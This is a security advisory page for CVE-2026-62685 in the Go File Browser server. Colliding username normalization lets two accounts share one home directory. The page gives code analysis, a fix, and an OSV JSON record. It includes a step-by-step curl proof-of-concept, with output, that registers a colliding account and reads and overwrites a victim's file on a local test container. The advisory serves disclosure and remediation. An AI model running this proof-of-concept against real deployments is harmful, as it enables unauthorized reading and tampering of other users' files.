CVE-2026-62685: File Browser Colliding Username Normalization Gives Two Vulnerability

HIGH
Advisory Identifier: GHSA-7rc3-g7h6-22m7
CVSS 8.1
CWE-647 CWE-706
Published
Advisory Summary

CVE-2026-62685 is a HIGH (CVSS 8.1) colliding username normalization gives two vulnerability (CWE-647: Use of Non-Canonical URL Paths for Authorization Decisions) affecting File Browser libraries in the Go ecosystem. The issue involves colliding username normalization gives two users the same home directory. Remediation is available by upgrading affected packages to version 2.63.17.

CVE-2026-62685 at a Glance

CVE Identifier CVE-2026-62685
GHSA Identifier GHSA-7rc3-g7h6-22m7
Severity HIGH
CVSS v3.1 Base Score 8.1
CWE Classification CWE-647: Use of Non-Canonical URL Paths for Authorization Decisions
Affected Product File Browser
Package Ecosystem Go
Published Date
Last Updated

Security Impact

CVSS: 8.1

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H).

Attack Vector Network (AV:N)
Attack Complexity High (AC:H)
Privileges Required None (PR:N)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality High (C:H)
Integrity High (I:H)
Availability High (A:H)

How to Fix CVE-2026-62685

To remediate this vulnerability, upgrade all affected File Browser dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

github.com/filebrowser/filebrowser/v2 fixed: 2.63.17
Upgrade github.com/filebrowser/filebrowser/v2 to 2.63.17
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for github.com/filebrowser/filebrowser/v2

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-62685, inspect your project dependencies for File Browser:

inspect dependencies for github.com/filebrowser/filebrowser/v2

Analyze the terminal output to locate any version of File Browser in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 2.63.17), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-647: Use of Non-Canonical URL Paths for Authorization Decisions, where the product defines policy namespaces and makes authorization decisions based on the assumption that a url is canonical. this can allow a non-canonical url to bypass the authorization. In File Browser, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

## Summary FileBrowser confines each user to a *scope*: a home directory that acts as the boundary for everything they can read or write. When self-registration and automatic home-directory creation are both enabled (`Signup=true` and `CreateUserDir=true`), a new user's scope is built from their username after it passes through `cleanUsername()`. That function rewrites the name: it strips `..` and replaces every character outside `0-9A-Za-z@_\-.` with `-`. The problem is that this rewrite is **many-to-one**: different usernames can produce the same result, and FileBrowser never checks whether the resulting scope is already taken. So `team/one`, `team one`, and `team-one` all collapse to the same directory name, and whoever registers second is handed the **same home directory** as the first user instead of an isolated one. This breaks per-user isolation. An attacker can pick a username that normalizes onto a victim's directory (for example registering `alice/` or `al..ice` to land in `alice`'s home) and gain full read **and** write access to that victim's files. Because username uniqueness is enforced on the raw name, both accounts coexist normally and neither user is warned that they share storage. ## Details **1. The home directory is built straight from the cleaned username (`settings/dir.go:30`)** ```go // MakeUserDir, when CreateUserDir is true: username = cleanUsername(username) // ... userScope = path.Join(s.UserHomeBasePath, username) // line 30 userScope = path.Join("/", userScope) // line 33 ``` The user's scope is `path.Join(UserHomeBasePath, cleanUsername(username))`. **2. `cleanUsername` collapses distinct inputs to the same output (`settings/dir.go:42-52`)** ```go func cleanUsername(s string) string { s = strings.Trim(s, " ") s = strings.ReplaceAll(s, "..", "") // line 45, deletes ".." s = invalidFilenameChars.ReplaceAllString(s, "-") // line 48, any non [0-9A-Za-z@_.-] -> "-" s = dashes.ReplaceAllString(s, "-") // line 51, collapse repeated "-" return s } ``` Because several characters all map to `-` (and `..` is simply deleted), many different usernames produce the same output: `team/one`, `team one`, `team:one`, and `team-one` all become `team-one`, and `a..b` becomes `ab`. Usernames that are unique on their own end up pointing at one shared directory name. **3. No scope-uniqueness check exists** Username uniqueness is enforced on the raw `username` (Storm `id`), but nothing enforces uniqueness of the derived `Scope`. `signupHandler` writes the colliding scope back to the user (`http/auth.go:198-203`) and saves the account; the second registrant simply reuses the first registrant's home directory (`MakeUserDir` calls `MkdirAll`, which is idempotent). ## PoC Tested against `filebrowser/filebrowser:v2.63.15` with `Signup=true` and `CreateUserDir=true` (default `minimumPasswordLength` is 12). **Attack Vector: register a colliding username and read/overwrite another user's files:** ```bash #1. Create a dir in /tmp and start a fresh v2.63.15 container mkdir -p /tmp/filebrowser-test/srv docker run -d --name filebrowser-test -p 8090:80 -v /tmp/filebrowser-test/srv:/srv filebrowser/filebrowser:v2.63.15 && sleep 4 B=http://localhost:8090; PW='CollidePw12345!' #2. Admin logs in and enables the two required non-default settings: signup=true and createUserDir=true AP=$(docker logs filebrowser-test 2>&1 | grep -o 'password: .*' | awk '{print $2}') AT=$(curl -s -X POST $B/api/login -H 'Content-Type: application/json' -d "{\"username\":\"admin\",\"password\":\"$AP\"}") curl -s -H "X-Auth: $AT" $B/api/settings \ | python3 -c "import sys,json;d=json.load(sys.stdin);d['signup']=True;d['createUserDir']=True;print(json.dumps(d))" \ | curl -s -X PUT $B/api/settings -H "X-Auth: $AT" -H 'Content-Type: application/json' -d @- #3. Register the victim teamone-x curl -s -X POST $B/api/signup -H 'Content-Type: application/json' -d "{\"username\":\"teamone-x\",\"password\":\"$PW\"}" #4. Register the attacker teamone/x (distinct raw username that cleanUsername() normalizes to the same scope teamone-x) curl -s -X POST $B/api/signup -H 'Content-Type: application/json' -d "{\"username\":\"teamone/x\",\"password\":\"$PW\"}" #5. Log in as both accounts (TA = victim, TB = attacker) TA=$(curl -s -X POST $B/api/login -H 'Content-Type: application/json' -d "{\"username\":\"teamone-x\",\"password\":\"$PW\"}") TB=$(curl -s -X POST $B/api/login -H 'Content-Type: application/json' -d "{\"username\":\"teamone/x\",\"password\":\"$PW\"}") #6. Victim A writes a private file curl -s -X POST "$B/api/resources/secretA.txt?override=true" -H "X-Auth: $TA" --data-binary 'A-private-CONFIDENTIAL-data' -o /dev/null #7. Attacker B reads A's file (both resolve to the single shared home directory) curl -s "$B/api/raw/secretA.txt" -H "X-Auth: $TB" #8. Attacker B overwrites the file curl -s -X POST "$B/api/resources/secretA.txt?override=true" -H "X-Auth: $TB" --data-binary 'TAMPERED-BY-B' -o /dev/null #9. Victim A reads back the tampered content curl -s "$B/api/raw/secretA.txt" -H "X-Auth: $TA" ``` Expected output (reproduced on a fresh `filebrowser-test` container, v2.63.15): ```http GET /api/raw/secretA.txt (as user B, attacker) -> 200 A-private-CONFIDENTIAL-data POST /api/resources/secretA.txt?override=true (as user B) -> 200 (empty body) GET /api/raw/secretA.txt (as user A, victim, reads back) -> 200 TAMPERED-BY-B GET /api/users (as admin, both accounts share one scope) -> 200 [ ... {"username":"teamone-x","scope":"/users/teamone-x"}, {"username":"teamone/x","scope":"/users/teamone-x"} ... ] ``` On disk there is a single shared home directory `/srv/users/teamone-x`. ## Impact - **Cross-user read:** an attacker registering a colliding username can read every file in a victim's home directory. - **Cross-user write and tamper:** the attacker can overwrite, rename, or delete the victim's files; the victim transparently sees the tampered content. - **Per-user isolation bypass:** the home-directory scoping that is supposed to confine each self-registered user is defeated whenever two usernames normalize to the same value. - **Targeted or opportunistic:** an attacker can deliberately craft a username that collides with a known victim (e.g. registering `alice/`, `alice.`, or `al..ice` to land on `alice`'s directory), or collisions can occur accidentally between legitimate users. - **Precondition:** requires the administrator to have enabled both `Signup` and `CreateUserDir`. ## Recommended Fix Make the derived scope canonical and enforce its uniqueness. Either reject a signup whose normalized scope already exists, or bind the home directory to the immutable user ID rather than to a normalized username: ```go // settings/dir.go, base the home dir on a collision-free identifier: userScope = path.Join(s.UserHomeBasePath, strconv.FormatUint(uint64(user.ID), 10)) ``` Alternatively, in `signupHandler`, after computing the scope, reject the registration if any existing user already owns that scope (`store.Users.GetByScope(scope)` ⇒ 409 Conflict). Also reject usernames whose normalized form differs from the raw username, so that `cleanUsername` is never silently lossy.

CVE-2026-62685 Affected File Browser Versions

1 component(s)
Fixed Versions:
2.63.17
Product / Package Ecosystem Affected Versions Fixed Version
github.com/filebrowser/filebrowser/v2
Go
< 2.63.17
2.63.17

References

Frequently Asked Questions

What is CVE-2026-62685?
CVE-2026-62685 is a security vulnerability in File Browser involving Colliding username normalization gives two users the same home directory under CWE-647: Use of Non-Canonical URL Paths for Authorization Decisions.
Which File Browser versions are affected?
Affected versions include releases prior to 2.63.17 across affected packages: github.com/filebrowser/filebrowser/v2.
What version fixes CVE-2026-62685?
Upgrading to 2.63.17 (or the latest patched release for your respective branch) resolves the vulnerability.
Is github.com/filebrowser/filebrowser/v2 affected?
Yes, github.com/filebrowser/filebrowser/v2 is affected in releases prior to 2.63.17. Upgrade your dependency to 2.63.17 or later.
What is the CVSS score of CVE-2026-62685?
CVE-2026-62685 has a CVSS v3.1 base score of 8.1 (HIGH) with vector string CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H.
What CWE is associated with CVE-2026-62685?
CVE-2026-62685 is classified under CWE-647: Use of Non-Canonical URL Paths for Authorization Decisions (The product defines policy namespaces and makes authorization decisions based on the assumption that a URL is canonical. This can allow a non-canonical URL to bypass the authorization.).
How can I check Go dependencies for CVE-2026-62685?
Run the dependency tree command: 'inspect dependencies for github.com/filebrowser/filebrowser/v2'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-7rc3-g7h6-22m7",
  "modified" : "2026-07-20T22:19:10Z",
  "published" : "2026-07-20T22:19:10Z",
  "aliases" : [ "CVE-2026-62685" ],
  "summary" : "File Browser: Colliding username normalization gives two users the same home directory",
  "details" : "## Summary\n\nFileBrowser confines each user to a *scope*: a home directory that acts as the boundary for everything they can read or write. When self-registration and automatic home-directory creation are both enabled (`Signup=true` and `CreateUserDir=true`), a new user's scope is built from their username after it passes through `cleanUsername()`. That function rewrites the name: it strips `..` and replaces every character outside `0-9A-Za-z@_\\-.` with `-`.\n\nThe problem is that this rewrite is **many-to-one**: different usernames can produce the same result, and FileBrowser never checks whether the resulting scope is already taken. So `team/one`, `team one`, and `team-one` all collapse to the same directory name, and whoever registers second is handed the **same home directory** as the first user instead of an isolated one.\n\nThis breaks per-user isolation. An attacker can pick a username that normalizes onto a victim's directory (for example registering `alice/` or `al..ice` to land in `alice`'s home) and gain full read **and** write access to that victim's files. Because username uniqueness is enforced on the raw name, both accounts coexist normally and neither user is warned that they share storage.\n\n## Details\n\n**1. The home directory is built straight from the cleaned username (`settings/dir.go:30`)**\n\n```go\n// MakeUserDir, when CreateUserDir is true:\nusername = cleanUsername(username)\n// ...\nuserScope = path.Join(s.UserHomeBasePath, username)   // line 30\nuserScope = path.Join(\"/\", userScope)                 // line 33\n```\n\nThe user's scope is `path.Join(UserHomeBasePath, cleanUsername(username))`.\n\n**2. `cleanUsername` collapses distinct inputs to the same output (`settings/dir.go:42-52`)**\n\n```go\nfunc cleanUsername(s string) string {\n    s = strings.Trim(s, \" \")\n    s = strings.ReplaceAll(s, \"..\", \"\")                       // line 45, deletes \"..\"\n    s = invalidFilenameChars.ReplaceAllString(s, \"-\")         // line 48, any non [0-9A-Za-z@_.-] -> \"-\"\n    s = dashes.ReplaceAllString(s, \"-\")                       // line 51, collapse repeated \"-\"\n    return s\n}\n```\n\nBecause several characters all map to `-` (and `..` is simply deleted), many different usernames produce the same output: `team/one`, `team one`, `team:one`, and `team-one` all become `team-one`, and `a..b` becomes `ab`. Usernames that are unique on their own end up pointing at one shared directory name.\n\n**3. No scope-uniqueness check exists**\n\nUsername uniqueness is enforced on the raw `username` (Storm `id`), but nothing enforces uniqueness of the derived `Scope`. `signupHandler` writes the colliding scope back to the user (`http/auth.go:198-203`) and saves the account; the second registrant simply reuses the first registrant's home directory (`MakeUserDir` calls `MkdirAll`, which is idempotent).\n\n## PoC\n\nTested against `filebrowser/filebrowser:v2.63.15` with `Signup=true` and `CreateUserDir=true` (default `minimumPasswordLength` is 12).\n\n**Attack Vector: register a colliding username and read/overwrite another user's files:**\n\n```bash\n#1. Create a dir in /tmp and start a fresh v2.63.15 container\nmkdir -p /tmp/filebrowser-test/srv\ndocker run -d --name filebrowser-test -p 8090:80 -v /tmp/filebrowser-test/srv:/srv filebrowser/filebrowser:v2.63.15 && sleep 4\nB=http://localhost:8090; PW='CollidePw12345!'\n\n#2. Admin logs in and enables the two required non-default settings: signup=true and createUserDir=true\nAP=$(docker logs filebrowser-test 2>&1 | grep -o 'password: .*' | awk '{print $2}')\nAT=$(curl -s -X POST $B/api/login -H 'Content-Type: application/json' -d \"{\\\"username\\\":\\\"admin\\\",\\\"password\\\":\\\"$AP\\\"}\")\ncurl -s -H \"X-Auth: $AT\" $B/api/settings \\\n  | python3 -c \"import sys,json;d=json.load(sys.stdin);d['signup']=True;d['createUserDir']=True;print(json.dumps(d))\" \\\n  | curl -s -X PUT $B/api/settings -H \"X-Auth: $AT\" -H 'Content-Type: application/json' -d @-\n\n#3. Register the victim teamone-x\ncurl -s -X POST $B/api/signup -H 'Content-Type: application/json' -d \"{\\\"username\\\":\\\"teamone-x\\\",\\\"password\\\":\\\"$PW\\\"}\"\n\n#4. Register the attacker teamone/x (distinct raw username that cleanUsername() normalizes to the same scope teamone-x)\ncurl -s -X POST $B/api/signup -H 'Content-Type: application/json' -d \"{\\\"username\\\":\\\"teamone/x\\\",\\\"password\\\":\\\"$PW\\\"}\"\n\n#5. Log in as both accounts (TA = victim, TB = attacker)\nTA=$(curl -s -X POST $B/api/login -H 'Content-Type: application/json' -d \"{\\\"username\\\":\\\"teamone-x\\\",\\\"password\\\":\\\"$PW\\\"}\")\nTB=$(curl -s -X POST $B/api/login -H 'Content-Type: application/json' -d \"{\\\"username\\\":\\\"teamone/x\\\",\\\"password\\\":\\\"$PW\\\"}\")\n\n#6. Victim A writes a private file\ncurl -s -X POST \"$B/api/resources/secretA.txt?override=true\" -H \"X-Auth: $TA\" --data-binary 'A-private-CONFIDENTIAL-data' -o /dev/null\n\n#7. Attacker B reads A's file (both resolve to the single shared home directory)\ncurl -s \"$B/api/raw/secretA.txt\" -H \"X-Auth: $TB\"\n\n#8. Attacker B overwrites the file\ncurl -s -X POST \"$B/api/resources/secretA.txt?override=true\" -H \"X-Auth: $TB\" --data-binary 'TAMPERED-BY-B' -o /dev/null\n\n#9. Victim A reads back the tampered content\ncurl -s \"$B/api/raw/secretA.txt\" -H \"X-Auth: $TA\"\n```\n\nExpected output (reproduced on a fresh `filebrowser-test` container, v2.63.15):\n\n```http\nGET  /api/raw/secretA.txt   (as user B, attacker)  -> 200\nA-private-CONFIDENTIAL-data\n\nPOST /api/resources/secretA.txt?override=true  (as user B)  -> 200   (empty body)\n\nGET  /api/raw/secretA.txt   (as user A, victim, reads back)  -> 200\nTAMPERED-BY-B\n\nGET  /api/users   (as admin, both accounts share one scope)  -> 200\n[ ... {\"username\":\"teamone-x\",\"scope\":\"/users/teamone-x\"}, {\"username\":\"teamone/x\",\"scope\":\"/users/teamone-x\"} ... ]\n```\n\nOn disk there is a single shared home directory `/srv/users/teamone-x`.\n\n## Impact\n\n- **Cross-user read:** an attacker registering a colliding username can read every file in a victim's home directory.\n- **Cross-user write and tamper:** the attacker can overwrite, rename, or delete the victim's files; the victim transparently sees the tampered content.\n- **Per-user isolation bypass:** the home-directory scoping that is supposed to confine each self-registered user is defeated whenever two usernames normalize to the same value.\n- **Targeted or opportunistic:** an attacker can deliberately craft a username that collides with a known victim (e.g. registering `alice/`, `alice.`, or `al..ice` to land on `alice`'s directory), or collisions can occur accidentally between legitimate users.\n- **Precondition:** requires the administrator to have enabled both `Signup` and `CreateUserDir`.\n\n## Recommended Fix\n\nMake the derived scope canonical and enforce its uniqueness. Either reject a signup whose normalized scope already exists, or bind the home directory to the immutable user ID rather than to a normalized username:\n\n```go\n// settings/dir.go, base the home dir on a collision-free identifier:\nuserScope = path.Join(s.UserHomeBasePath, strconv.FormatUint(uint64(user.ID), 10))\n```\n\nAlternatively, in `signupHandler`, after computing the scope, reject the registration if any existing user already owns that scope (`store.Users.GetByScope(scope)` ⇒ 409 Conflict). Also reject usernames whose normalized form differs from the raw username, so that `cleanUsername` is never silently lossy.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/filebrowser/filebrowser/v2"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "2.63.17"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 2.63.16"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/filebrowser/filebrowser/security/advisories/GHSA-7rc3-g7h6-22m7"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-62685"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/filebrowser/filebrowser/commit/883a36f02fcb69566a8628cb47f18fdc73348387"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/filebrowser/filebrowser"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/filebrowser/filebrowser/releases/tag/v2.63.17"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-647", "CWE-706" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-07-20T22:19:10Z",
    "nvd_published_at" : "2026-07-15T16:16:51Z"
  }
}